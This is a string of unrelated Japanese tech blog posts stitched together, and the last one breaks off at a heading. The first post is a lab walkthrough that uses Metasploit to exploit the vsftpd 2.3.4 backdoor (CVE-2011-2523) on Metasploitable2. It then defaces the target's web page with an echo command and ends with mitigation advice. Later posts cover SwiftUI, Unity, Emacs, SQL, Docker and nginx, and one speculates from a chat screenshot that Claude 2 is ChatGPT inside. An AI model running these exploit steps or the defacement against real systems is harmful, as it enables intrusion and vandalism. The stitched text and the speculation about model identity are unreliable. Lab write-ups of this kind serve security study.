![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78535/1a45173d-b0b8-4caf-ddba-586cef9d206d.png)
CVE-2011-2523の脆弱性を検証する

# 注意

:::note alert
必ずローカル環境で検証してください。
:::

# 環境

攻撃者
 - Kali Linux

ターゲット
 - Metasploitable2

# CVE-2011-2523について

vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれていた。
「:)」含むユーザー名でFTP接続した際にバックドアポートであるTCP6200番がオープンし、バックドアポートにリモートから接続すると任意のコマンドが実行可能になっている。

# 偵察

Nmapコマンドでポートスキャンを実行する。

```bash
nmap -sV <target ip address>
```

:::note info
**-sV**オプションでサービスとバージョンを検出できる。
**-A**オプションでも可。
:::

`-sV`オプションの場合

![nmap_scann.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e94d3b0b-8a57-6a61-dfd3-aa7f871b9969.png)

`-A`オプションの場合

![scan_with_Aoption.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d8cd69cd-db27-79fd-4795-5849a8a3abe3.png)

`vsftpd/2.3.4`が動いているのが確認できる。

# 攻撃準備

`Metasploit`を起動。

```bash
msfconsole
```

![msfconsole.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1a210b4a-277a-4976-29c5-d08955d2fb12.png)

Metasploit Frameworkが起動した。

`vsftpd/2.3.4`の脆弱性を探す。

```bash
msf6 > search vsftpd 2.3.4
```

![metasploit_search.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5d4b4150-71a1-c6e3-6fec-b0853545d9dd.png)

バックドアの脆弱性がヒットしたのでこれを使用する。

```bash
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
```

攻撃に必要な設定を確認する。

```bash
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

![showoptin.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3a8fa466-b636-0186-d19b-9acf9a3a92f7.png)

:::note info
`Required`の値が`yes`になっている項目が必須。
今回はデフォルトで宛先ポート(**RPOT**)が21になっているため、宛先ホスト(**RHOSTS**)を指定する。
:::

宛先ホストを指定。

```bash
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST <target ip address>
```

もう一度`show options`で設定項目を確認すると宛先ホストがセットされていることが確認できる。

![set_show.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/40ab3a77-899f-4eae-51c2-c8f44a88409c.png)

# 攻撃
準備が整ったので攻撃する。

```bash
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

![run.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a1be353f-2668-58a9-0592-f4db5cae1ade.png)

:::note info
`run`か`exploit`で攻撃の実行。
:::

侵入完了です。

![success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4299bbb0-ebeb-99ef-ffce-a3116b7cb4d6.png)

とりあえず、Webサイトでも改ざんしておきます。

```bash
echo "Hacked! Success! by kk0128jp" >> /var/www/index.php
```

![web_hacked.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c025634d-69b7-21f0-2149-0577dd8a28e5.png)

# 対策

TCPポート6200番が不当にオープンしていないか確認する。
外部からFTPサーバの不要なポートに接続できないようにアクセス制御を実施。
vsftpdをアップデートするのが一番かな。

# おまけ

今回使用した攻撃モジュールのソースコードを確認したい方はこちらに。

https://github.com/rapid7/metasploit-framework/blob/a3c5ca6cc15729471ecc6d39d1c52e47d221d998/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb#L16

# 参考サイト
https://security-record.com/entry/2023/05/10/224401

https://www.cve.org/CVERecord?id=CVE-2011-2523

https://www.intellilink.co.jp/column/vulner/2011/070600.aspx
[SwiftUI] UITextViewで意図せずカーソルが末尾に移動してしまう場合の対応方法

# はじめに
SwiftUIのTextEditorでは実現できない実装があり、UITextViewをUIViewRepresentableでラップして実装したところ、文中への入力時に改行をするとカーソルが末尾に移動してしまう現象に遭遇しました。
同じような現象で困っている方の参考になればと思い対応方法をまとめます。

# 環境
Xcode 15.0

# 内容

UITextViewをUIViewRepresentable使って実装したコードは以下の通りです。
最低限の実装をしており、カスタム部分は省いています。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/631585/c5476940-c593-b9e1-925a-d367a6b31d32.png" width="200">

```swift
import SwiftUI

struct CustomTextEditor: View {
    @State var text: String = ""

    var body: some View {
        VStack {
            CustomTextView(
                text: $text
            )
            .border(Color.gray, width: 1)
            .padding(20)
        }
    }
}

struct CustomTextView: UIViewRepresentable {
    @Binding var text: String

    func makeUIView(context: Context) -> UITextView {
        let textView = UITextView()
        textView.delegate = context.coordinator
        textView.font = .systemFont(ofSize: 14)
        // 本来はここで細かい設定を行う

        return textView
    }

    func updateUIView(_ uiView: UITextView, context: Context) {
        uiView.text = text
    }

    func makeCoordinator() -> Coordinator {
        Coordinator(self)
    }

    class Coordinator: NSObject, UITextViewDelegate {
        var parent: CustomTextView

        init(_ parent: CustomTextView) {
            self.parent = parent
        }

        func textViewDidChange(_ textView: UITextView) {
            parent.text = textView.text
        }
    }
}
```

一見問題なく入力できますが、複数行入力後に途中の行に入力&改行するとカーソルが末尾に移動してしまいます。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/631585/eab08fc5-26ef-0abf-227a-ade6804960aa.png" width="200"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/631585/d1d2f318-dc3d-5d5c-e5a8-c5e0a82489ed.png" width="200"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/631585/1da7651d-c544-509b-b8af-b90e8ec0b036.png" width="200">


## 対応方法

`updateUIView`の処理の中で無駄な更新をしていたのが原因でした。`UITextViewDelegate`の`textViewDidChange`で取得した値で再度`UITextView`のtextを更新したことで、カーソルが末尾に移動する現象が起きていました。
`updateUIView`内のtextの更新は、値に変更があった場合のみにしてあげることでカーソルの移動が発生しなくなりました。

```diff_swift
struct CustomTextView: UIViewRepresentable {
    @Binding var text: String

    func makeUIView(context: Context) -> UITextView {
        let textView = UITextView()
        textView.delegate = context.coordinator
        textView.font = .systemFont(ofSize: 14)

        return textView
    }

    func updateUIView(_ uiView: UITextView, context: Context) {
-        uiView.text = text
+        if uiView.text != text {
+            uiView.text = text
+        }
    }

    func makeCoordinator() -> Coordinator {
        Coordinator(self)
    }

    class Coordinator: NSObject, UITextViewDelegate {
        var parent: CustomTextView

        init(_ parent: CustomTextView) {
            self.parent = parent
        }

        func textViewDidChange(_ textView: UITextView) {
            parent.text = textView.text
        }
    }
}

```

# おわりに
原因はとても単純なことでしたが、一見正常な挙動を見せている分気づきにくいのかなと思います。
'< GameObject 名>' AnimationEvent has no function name specified!の解決方法

# 概要
Animation実装中にコンソールに以下エラーでたので、備忘として残しておきます。

```:エラー内容
'< GameObject 名>' AnimationEvent has no function name specified!
```

# 解決方法
Animation→赤枠→Delete Animation Event

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2983197/2a0f3137-5c4b-0723-daad-07c5ed01b490.png)

これで解決します。

# 参考資料
https://redfreshet.com/2015/10/28/unity_error_animationevent_has_no_function/
【Anthropic社のClaude 2無】実は……。


　どうも、カーブミラーです。

　今回は、Anthropic社のClaude 2を使って、発見したことを書きます。

:::note info
本記事は、Claude 2（無料版）
で行なっております。
Claude 2（有料版）での確認は
できておりません。あしからず。
:::

　Anthropicは、
　　2021年に元OpenAI社の
　　　従業員によって
　　　　サンフランシスコで
　　　　　設立されました。

　これを
　　書いていませんでしたw

　今朝、
　　アクセスしたら、
　　　すごく遅かったですね。

　みんなが
　　アクセスしていた
　　　のでしょうか？
***
　さて、前回は、
　　いかがだったでしょうか？
　　　参考になっていれば、
　　　　うれしいです。
[【Anthropic社のClaude 2無】を使用してみました。](https://qiita.com/kabumira/items/b2d32add890dcd487329)
***
　今回は、
　　前回のClaudeからの
　　　最後の回答を
　　　　カットした理由を
　　　　　書きます。

　次の画像を
　　ごらんください。

　画像の下部のあたりです。
![Screenshot_20231019-225305.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/ef267d6e-a781-6db8-d2a0-754bfa4d0daf.png)

　見ました？

　“ChatGPT”の文字を！

　追求したかったのですが、
　　制限に引っかかって
　　　しまいました。

　そこで、
　　昨日アクセスして、
　　　追求しました。

　自己紹介を
　　お願いしました。
![Screenshot_20231020-164718.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/32da380d-b7db-d8c0-0417-7ab447c8220c.png)


　やはり、
　　“ChatGPTだ”と
　　　言っていますね。

　会話を見る限り、
　　同じとは思えません。

　しかし、
　　元OpenAI社の
　　　社員が立ち上げた会社です。

　中身が、
　　ChatGPTであっても
　　　おかしくはありません。

　例え、そうだとしても
　　我々は、使えるか使えないか、
　　　が気になる点でしょう。

　その点は、昨日の段階で、
　　YouTuberかわごんさんが
　　　動画をアップして、
　　　　細かいことを
　　　　　Claudeに
　　　　　　尋ねています。
[【最新】Anthropic 「Claude 2」は、なんと中身は「ChatGPT」](https://youtu.be/8anaF8H9Rxo?si=G8t86Fs0nle9MsHW)
***
　驚きましたが、
　　まぁ、無料で
　　　GPT4同等（？）
　　　　と大きなファイルの
　　　　　読み込みができることが
　　　　　　大きいので、
　　　　　　　その利点の方が
　　　　　　　　大きいですね。
***
　私は、これからも
　　ChatGPTさんは、
　　　使っていきますね。

　ほかのAIについては、
　　たまに書く、ということで
　　　やっていきたいです。

　まぁ、いずれは、
　　無料版を廃止されてしまって
　　　ChatGPTさんとの
　　　　これまでのセッションも
　　　　　手にできなくなる
　　　　　　のかもしれませんね。

　ここまで書いておいて
　　ちょっと怖くなりました。
　　　履歴に大事なものも
　　　　ありますから
　　　　　保存しておかないと！

　ということで、
　　今回は、ここまで。
wsl2 で anyenvからasdfに乗り換える

# この記事は何?
wsl2環境において anyenvを使っていたのですが、asdfのほうが管理が楽そうだったので乗り換えたときのメモです。

# 手順
1. anyenvのアンインストール
2. asdfのインストール

# anyenvのアンインストール
まずはanuenvによってインストールした環境を確認し、削除していきます。
ターミナルを開き、以下のコマンドを実行して、インストール済みの環境を確認します。
```
anyenv versions
```

以下のようにインストール済みの環境が表示されると思います。
```
nodenv:
* system (set by /home/xxxx/.anyenv/envs/nodenv/version)
pyenv:
  system
  3.9.5
  3.10.6
* 3.11.0 (set by /home/xxxx/.anyenv/envs/pyenv/version)
```

以下のコマンドで、インストール特定の環境を削除します。上記の内容ではpyenvとnodenvを削除します。
```bash
anyenv uninstall nodenv
anyenv uninstall pyenv
```

再度、以下のコマンドを実行して、特定のバージョンが削除されたことを確認します。
表示されなければOKです。
```bash
anyenv versions
```

最後に、シェルの設定ファイル（通常は ~/.bashrc や ~/.zshrc）を開き、anyenvの初期化に関連する行を削除します。
```bash
export PATH="$HOME/.anyenv/bin:$PATH"
eval "$(anyenv init -)"
```
最後に、anyenv のインストールディレクトリを削除します。デフォルトでは ~/.anyenv です。
```bash
rm -rf ~/.anyenv
```
これで完了です。

# asdfのインストール
公式の手順に沿ってインストールします。

https://asdf-vm.com/guide/getting-started.html

以下はpython環境をインストールしたときのコマンドです。
```bash
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
```

.bashrcに以下を追記します。
```
. "$HOME/.asdf/asdf.sh"
. "$HOME/.asdf/completions/asdf.bash"
```

bashrcを再読込し、以下コマンドを実行してasdfが実行できることを確認
```
asdf --version
```

pythonプラグインを追加して、インストールを確認
```bash
asdf install python 3.9.13
asdf list python
```

グローバルに使用できるバージョンを指定し、確認します。
```
asdf global python 3.9.13
asdf current
python -V
python
```

起動できていれば完了です。
[Emacs] go-modeでeglotが起動しない

## 現象
`go` のソースコードを開いたときにeglotが起動しない。`M-x eglot` だと正常に起動する。

以前は問題なく使えてと思う。`Emacs30` をインストールした時からだろうか :thinking: 

## 環境

Mac版Emacs

```
GNU Emacs 30.0.50 (build 1, aarch64-apple-darwin22.6.0, NS
 appkit-2299.70 Version 13.5.1 (Build 22G90)) of 2023-08-21
```

## 調査1 Tree-Sitter

goプロジェクトのファイルを開くとTree-SitterのWarningが出るようになっていた:

```
⛔ Warning (treesit): Cannot activate tree-sitter, because language grammar for gomod is unavailable
```

関係ない気がするけど潰しておきたい。調べたところ、`M-x treesit-install-language-grammar` で `gomod` を選択したら解消した。

:::note
調べてる最中に `treesit-font-lock-level` という変数を知る。levelを上げていくと、より細かく色分けをしてくれるらしい。

```elisp
(setq treesit-font-lock-level 4)
```
:::

tree-sitterの警告は消せたけど、まだ問題は解消せず。goのファイルを開いたときに自動でeglotが立ち上がってくれない。

## 調査2 Hook

`C-h go-mode-hook`の結果は

```
go-mode-hook is a customizable variable defined in go-mode.el.

Value
(doom-modeline-env-setup-go
 eglot-ensure)
```

なので問題なさそうだが... :thinking: `eglot` のhookの設定を見直してみる。ずっと触ってないのだけれど


```elisp
(use-package eglot
  :ensure t
  :bind (:map eglot-mode-map
              ("C-c C-d" . eglot-help-at-point)
              ("C-c C-r" . eglot-code-actions))
  :hook
  (go-mode . eglot-ensure))
```

`eglot-ensure` を以下の `my-eglot-hook-function`に変え、再度goのファイルを開いてみる。

```elisp
(defun my-eglot-hook-function ()
  (message "go-mode-hook triggered!")
  (eglot-ensure))
```

... Messageが出ない :fearful: 
goのファイルで `M-x describe-mode` を実行すると

```
The major mode is Go mode defined in go-ts-mode.el:

Major mode for editing Go, powered by tree-sitter.
```

:hugging: `go-ts-mode` :hugging:

もしかしてEmacs29でtree-sitterが入ってから、`xxx-ts-mode` で書き換える必要があったのかな？

```elisp
(go-ts-mode . eglot-ensure)
```

で無事解消しました :open_hands:
デザインシステム導入時の学び

スタートアップによくある話ですが、デザイナー不在でかつプロダクト開発をスピード重視で進めていたので、デザイン、レイアウトが実装者によってばらつきが出て一貫性がまったく取れていない。

開発がだいぶ落ち着いたタイミングで、デザイナーの方がジョインし、デザインシステム導入、既存のUIデザインの見直しをして、より良いUXを提供しようという動きになり、自分はデザインシステムとフロントエンドを繋ぐ橋渡し的な役割を担当しました。その時の学びと、書籍などから引用した情報をまとめました。

## デザインコンセプト
・ユーザーはどんな人達か？
・どんな価値を提供するのか？
・そのサービスを擬人化したり、どんな性格かを決める
以上踏まえて、一言でまとめたものがデザインコンセプト。それを基にデザインシステム、UIデザイン、ライティングなど設計して頂きました。

## 色
デザインシステム構築にあたり、「色」がなくてはコンポーネントも作れない一番基本となる要素です。

色設計で押さえておきたい種類
・Primary ブランドの色
・Secondary ブランドを引き立たす、コントラストとなる色 x 10
・Success、Errorなどシステムに必ず必須な色

・コントラスト：視認性を高める

デザイナーに上記を設計してもらい、構造、命名などをフロント側でも扱いやすいように調整をしてもらい、完全に一致させました。これにより、Figmaに適用されている色をみればフロント側でどう色を指定すればいいかが明確にわかる状態になりました。

例えば以下の日付は背景が `error/100` で文字が `error/default` です。
![スクリーンショット 2023-06-04 19.44.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/021978dc-37cc-ff5a-c402-8d90585596a1.png)

これをフロント側でスタイルを当てるときにはこうなります。
tailwindを採用していたので、classに直接CSSを書きます、またdefaultは省略可にしてます。
```javascript
  <div className="bg-error-100 text-error">
    {data.date}
  </div>
```


## コンポーネント
機能、見た目をまとめた部品を共通化する事で、UIの統一化ができ、車輪の再発明を防いだり、開発効率を上げる事もできる。いきなり全て部品をコンポーネント化するのは高コストなので、利用頻度の高いボタン、ラベルなどをまずは導入しました。

**ボタン**
UIの中で多く使われ、カーソルで狙いを定めて、ユーザーが重要な意思決定をする（購入の場合は特に）事に使われるので、とても大事な部品。

共通化は意外と難しく、共通化にこだわりすぎて返って複雑な実装になったり、どれを共通化するか、どう分けるかをデザイナーと議論して、調整してもらい、シンプルな設計にしてもらった。

以下はボタンの例：

テキスト：必須
サイズ：２種類のみ
アイコン：あり、なし
色：プライマリーかセカンダリーの２種類から、後から1つ追加した、これ以上増えたらコンポーネントを分ける事を検討
ホバー状態
disabled状態
クリックハンドラー

例えばfigmaでコンポーネントの詳細を確認すると、こんな風に表示されるので、
![スクリーンショット 2023-06-04 19.57.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/94c11b86-ff10-8231-aebf-dc20b5a5768e.png)

フロント側はBrandButtonをインポートして、必要なパラメーターを設定すれば簡単にFigmaで指定されたデザインを再現できる様になります。

```typescript
<BrandButton
  type="secondary"
  size="small"
  icon={<Icon />}
  title="情報整理シート"
  handleOnClick={() => {}}
/>
```

## デザインシステムを導入して良かった事
いきなり全部の部品をリプレイスするのはコストがかかるけど、色と一部のコンポーネント導入だけなら低コストで、かなりの一貫性が出ましたし、重複する似た様な実装をだいぶ減らせて、実装も楽になりました。
（小規模システムなら、色とコンポーネントだけをデザインシステムをミニマムに導入するケースが多いらしいです。）

そして、導入後間もなく会社のロゴが変わり、色もアップデートする必要が出ましたが、カラーファイルのみ更新で済んだので難なく対応できました。

## 作って終わりではない、継続して進化させるもの
デザインシステムも「プロダクト」なので、後から変更が入ります。
新機能やページを設計してみると既存のコンポーネント群では対応できない事も起こりえます。そういう場合は拡張したり、新規で作ったりもして対応し、デザインシステムも進化させていく必要があります。

## 最後に
デザイナーとエンジニアが一緒になって議論しながら設計・開発を行った事で実用的なデザインシステムになったと思う。

これを機にStorybookを導入、さらに、コンポーネントテスト導入もつなげていける。

余談：
大規模なサービスを開発してる某社ではサービス内でイラストを使用するイラストシステム、アイコンシステムまで作って統一化してるらしいです。
ストアドファンクション(スカラー値関数)を作成する方法


商品区分をパラメータとして受け取り、商品区分に対応する商品名を返す[GetShohinKbn]というスカラー値関数を作成します:smiley:

## 実行するスクリプト
``` SQL 
CREATE FUNCTION GetShohinKbn(
	@ShohinKbn smallint
)
RETURNS NVARCHAR(20)
AS
BEGIN
	
	DECLARE @ShohinKbnName NVARCHAR(20);

	BEGIN SET @ShohinKbnName = CASE @ShohinKbn 
								WHEN 1 THEN 'くだもの'
								WHEN 2 THEN 'やさい'
								WHEN 3 THEN 'お菓子'
								ELSE '' END
	END
	
	RETURN @ShohinKbnName;

END;

```

上記スクリプトを実行すると、以下のようにスカラー値関数が作成されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3247892/d036381e-13cf-5a98-8b8e-dfe21ce6bc97.png)


## 実行結果
``` SQL
SELECT 商品ID
      ,商品名
	  ,商品区分
      ,dbo.GetShohinKbn(商品区分) AS 商品区分名
  FROM 商品マスタ
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3247892/b4f845d9-859b-d46c-fa64-5ccc999b6732.png)

## ポイント
:pencil2:　スカラー値関数について
- 必ず一つの値を返します。スカラー値関数の最後のステートメントはRETURNです。
- テーブルの値を更新・挿入・削除するようなステートメントは記載できません。
- スカラー値関数を作成する構文は以下の通りです。
``` SQL
CREATE FUNCTION [ファンクション名](
	[ @入力パラメータ名1 ] [ 入力パラメータ名1のデータ型 ],
	[ @入力パラメータ名2 ] [ 入力パラメータ名2のデータ型 ],
	[ @入力パラメータ名3 ] [ 入力パラメータ名3のデータ型 ],
)
RETURNS [戻り値のデータ型]
AS
BEGIN
	[ ファンクションで処理したい一連の T-SQL ステートメント ]
	
	RETURN [ 戻り値 ];
END;
```

:pencil2:　CASE式での条件分岐について

``` SQL
CASE [対象値]
    WHEN [値1] THEN [対象値] = [値1]の場合に表示する内容
    WHEN [値2] THEN [対象値] = [値2]の場合に表示する内容
    WHEN [値3] THEN [対象値] = [値3]の場合に表示する内容
    ELSE [どの条件も満たさない場合に表示する内容] END
END

```
Docker + nginx + cloudflareでNext.jsのサーバーを立ててみた

## 目次
[はじめに](#はじめに)

[1. コンテナを生成](#1-コンテナを生成)
[2. nginxのインストール](#2-nginxのインストール)
[3. nginxの設定](#3-nginxの設定)
[4. CloudflareTunnelを設定](#4-CloudflareTunnelを設定)

[おわりに](#おわりに)

## はじめに
前回は自宅サーバでRootless Dockerを使えるようにしました。
https://qiita.com/piny940/items/729e52a80724754daa99

今回は自宅サーバー上でNext.jsサーバーを立てて一般公開していこうと思います。

前提:
- 動くDockerfile・docker-composeがある
- サーバー上でDockerが動作する
- cloudflareをDNSサーバーとする独自ドメインを持っている

環境:
- Ubuntu22.04 server

## 1. コンテナを生成
次のコマンドでサーバーを立てます
```
docker compose up -d
```

## 2. nginxのインストール
公式に従ってインストールをしていきます

http://nginx.org/en/linux_packages.html#Ubuntu

必要なパッケージをインストール
```
sudo apt install curl gnupg2 ca-certificates lsb-release ubuntu-keyring
```
キーを取得
```
curl https://nginx.org/keys/nginx_signing.key | gpg --dearmor \
    | sudo tee /usr/share/keyrings/nginx-archive-keyring.gpg >/dev/null
```
キーがダウンロードできていることを確認
```
gpg --dry-run --quiet --no-keyring --import --import-options import-show /usr/share/keyrings/nginx-archive-keyring.gpg
```

出力が次のようになっていたらOKです
```
pub   rsa2048 2011-08-19 [SC] [expires: 2024-06-14]
      573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62
uid                      nginx signing key <signing-key@nginx.com>
```

レポジトリをセットアップ
```
echo "deb [signed-by=/usr/share/keyrings/nginx-archive-keyring.gpg] \
http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" \
    | sudo tee /etc/apt/sources.list.d/nginx.list
```

インストール
```
sudo apt update
sudo apt install nginx
```

インストールできたことを確認
```
$ nginx -v
nginx version: nginx/1.24.0
```

## 3. nginxの設定
`/etc/nginx/conf.d/`内に設定ファイル`test.conf`を作成して次のように記述します。
```
server {
        listen 80;
        server_name www.example.com; # サーバーのアドレス

        location / {
                proxy_pass http://localhost:{package.jsonに書いたポート};
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }
}
```
次のコマンドで設定を適用します。
```
sudo systemctl restart nginx
```
正常に動作していることを確認
```
sudo systemctl status nginx
```

## 4. CloudflareTunnelを設定
サーバーとのトンネルがまだできていない場合はcloudflareのコンソールから設定をしてください。

https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/get-started/create-remote-tunnel/

Public Hostnameから指定したサーバーのアドレスを登録します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3330232/0fdf120d-f56a-a64c-04f2-49f25c6ef8f0.png)

これでサーバーにアクセスできるようになります。

## おわりに
今回はcloudflare tunnelを使ってNext.jsのサーバーを公開しました。
次回はサーバー上にデータベースサーバーを立ててRailsサーバーを公開していこうと思います。

## 参考資料

https://tech.excite.co.jp/entry/2023/05/01/145314

https://zenn.dev/grarich/articles/2735b5b1b2f91f

https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/get-started/create-remote-tunnel/
Docker環境構築メモ（Windows＋Ubuntu）

# Docker環境を構築するメモ
Dockerちゃんと使うのがかなり久々だったので、作業用にWindowsで改めてDocker環境を構築したメモ

## Docker Desktop のインストール
参考: [WSL2+docker+GPU環境構築(win11)](https://qiita.com/nabion/items/4c4d4d4119c8586cbd9e)

以下から自分の環境にあったドライバーをダウンロードしてインストール
[Download Drivers - NVIDIA](https://www.nvidia.com/Download/index.aspx)

1. 最新のDocker Desktop をインストールする
[Docker Desktop for Windows インストーラー](https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe?_gl=1*qtkb0x*_ga*MzYwNzk1MTg0LjE2OTczMzMzNzc.*_ga_XJWPQMJYHQ*MTY5NzMzMzM3Ni4xLjEuMTY5NzMzMzM3Ny41OS4wLjA.)からインストーラーをダウンロード＆実行
参考: [WSL 2 での Docker リモート コンテナーの概要](https://learn.microsoft.com/ja-jp/windows/wsl/tutorials/wsl-containers)
参考: [Docker Desktop WSL 2 backend on Windows](https://docs.docker.com/desktop/wsl/#download)

1. Docker Desktop を起動
Windowsスタートメニューか、デスクトップにショートカットを生成した場合は以下のアイコンから起動できる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/125655/ceeedabc-6b55-bf8c-9046-ed09052581c8.png)

1. Settings - General - "Use the WSL 2 based engine" をオンにする
WSL2がすでにセットアップ済みの場合はデフォルトでONになっている模様
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/125655/5878e000-3f4d-2fd3-835d-52a1b13b232b.png)

# Docker image を pull する
WSLで、下記コマンドを実行してDockerイメージをダウンロードする
参考: [Docker 公式イメージ](https://matsuand.github.io/docs.docker.jp.onthefly/docker-hub/official_images/)
参考: [docker images](https://docs.docker.jp/engine/reference/commandline/images.html)
```
docker pull ubuntu
```
コンテナを作成・起動
```
docker run -it --name mycontainer ubuntu
```
Python開発環境を構築する場合は、python関連のインストールをする
```
apt install sudo
sudo apt-get update
sudo apt-get install python
sudo apt-get install python3-pip
```



::: note
作業の過程でDockerイメージの格納ディレクトリを変更した

参考: [【Windows】 Dockerイメージの保存場所を変更する方法](https://e-penguiner.com/change-location-of-docker-on-windows/)

※Docker Desktopをタスクトレイから終了しただけではバックグラウンドのプロセスまで終了しないらしい。
Docker Desktopを落とす際にSTATEがStoppedになっていなければ、docker-desktopを直接ターミネートできる
```
wsl -t docker-desktop
```
:::


# 参考文献：
- [Dockerコンテナの作成、起動〜停止まで](https://qiita.com/kooohei/items/0e788a2ce8c30f9dba53)
- [Ubuntuユーザ追加とsudo権限付与。ユーザ/グループ操作まとめ](https://www-creators.com/archives/241)
- [sudoの基礎知識とdockerのUbuntuのコンテナ内へのインストール方法](https://zenn.dev/trailer/articles/c9521c9f8167a2)
- [Ubuntu+Python3(任意のバージョン)の実行環境を構築するDockerfile](https://qiita.com/ntatsuya/items/ef8f48d5e482d4b0f100)


2023年10月時点
テキストボックスへのいろんなイベント

テキストボックスに使用できるイベントをまとめてみました。

```html
<textarea id="textarea">Lorem ipsum dolor sit amet</textarea>
```

```js
let textarea = document.getElementById('textarea');

textarea.addEventListener('copy', () => {
  console.log('こぴーしました');
});
textarea.addEventListener('cut', () => {
  console.log('カットしました');
});
textarea.addEventListener('paste', () => {
  console.log('ペーストしました');
});
textarea.addEventListener('change', () => {
  console.log('フォーカスが外れました');
});
textarea.addEventListener('keypress', () => {
  console.log('入力しました');
});
textarea.addEventListener('keyup', () => {
  console.log('キーが押されました');
});
```

`copy`、`cut`、`paste`イベントはコマンドのコピー、カット、ペーストを使用することで検知できます。
`change`イベントはテキストボックスからフォーカスが外れることで検知します。
`keypress`は半角英数ととEnterが押された時に検知します。
`keyup`はすべてのキーボード操作に対して反応します。コマンド操作なども反映するので、ちょっと扱いにくい。


#### 参考
https://qiita.com/maruyam-a/items/cf0168f91d934b449a07

https://1-notes.com/javascript-events-triggered-by-copying-text/

https://web-tsuku.life/input-text-form-clear/
Javaのリフレクション

 Javaでかゆいところに手を伸ばすためにリフレクションAPIを使っているのだけれど、型情報を取得するのはClassを使用する。プリミティブ型でもClassが使えるのでClassばかりよく使っていたのだけどもということで、リフレクションの場合を見つけたので今までのパターンとあわせて簡単にメモだけ。

リフレクションで使うのはClass,Field,Method など定番のものがあり、それ以外はどうするのかという話。

とりあえずパラメータで渡された場合などの判定に使っている方法、か?

# プリミティブ型

int, long, doubleなどClassではない型は、該当するClassがあり、その中で Integer.TYPE などTYPEとして定義されているので、型情報を細かく比較すると、どちらかわかるようになっています。

プリミティブ型かObjectかはclassを取得し、Class#isPrimitive() で判定できます。 

# 配列

配列はObjectとして扱えるのでClassを取得、 Class#isArray() で調べられます。要素の型はClass#getComponentType() などで取得できます。

Object型で受け取ったものが配列だった場合、要素の操作はArrayクラスを使います。Listへの変換はArrays.asList((Object[])src) っぽい書き方で可能ですね。

このあたりまで把握していると、とりあえずオブジェクトマッピングっぽいことはできるようになります。

# Generics

List<Integer> など<>を使った表現は、実行中のオブジェクトはnew ArrayList<>() のように作られてしまうので型情報がありません。こういう定義をしているところにいろいろ詰め込もうとすると、変換方法に困ったりしていたのですが、どうやらFieldにはメンバ変数の型情報として持っているのでそちらから取得していくことができます。

```
class A<T> {
 List<Integer> b = new ArrayList<T>();
}
```
の bの型List<Integer>を取得できるということで、new ArrayList<T>() のTなどを特定することはできません。オブジェクトマッピング的なことにしか役に立たないので普通は知らなくていいことかもしれません。

```
void example(Class<A> cls) {

    String name = "b" // 変数名

// private から取得できる。 super classのものは cls.getSuperclass() などで別途取得しないと取れない
    Field field = cls.getDeclaredField(name);

   または

// public なものを継承関係も含めて取得できる
    Field field = cls.getField(name);
 

    Type  type = field.getGenericType();
}
```

type が今回の新要素 `Class<A>` の clsのbの型情報が詰まっているTypeという型で、Classの上位型になっているようで、Genericsなど付加要素がある場合はClass以外の形で返ってくるという情報多めのものになっています。

Genericsを使っている場合は interface ParameterizedType 系の情報が返ってきます。

ParameterizedType#getActualTypeArguments() で<>内の型を配列で返してくれます。これもTypeです。多重になっている場合はここでもParameterizedType、そうでない場合はClassだと思っていいと思います。

ParameterizedType.getRawType() で従来のClass相当のTypeが取得できます。`List<Integer>` なら Listのclass情報です。

`List<? extends C>` という表記も可能なので、この場合はどうなるか…な
「MSVCR100.dllが見つからない」の解決策

# はじめに
要求仕様記述段階での使用が主に想定されている数学的形式手法VDM(Vienna Development Method)[^1]のオブジェクト指向拡張言語VDM++の検証ツールWindows版[^2]を公式サイト[^3]からダウンロードしてインストールしました。Windows11で起動してみましたところ、「MSVCR100.dllが見つからない」的なエラーメッセージがループして起動できませんでした。

# 「MSVCR100.dllが見つからない」の解決策
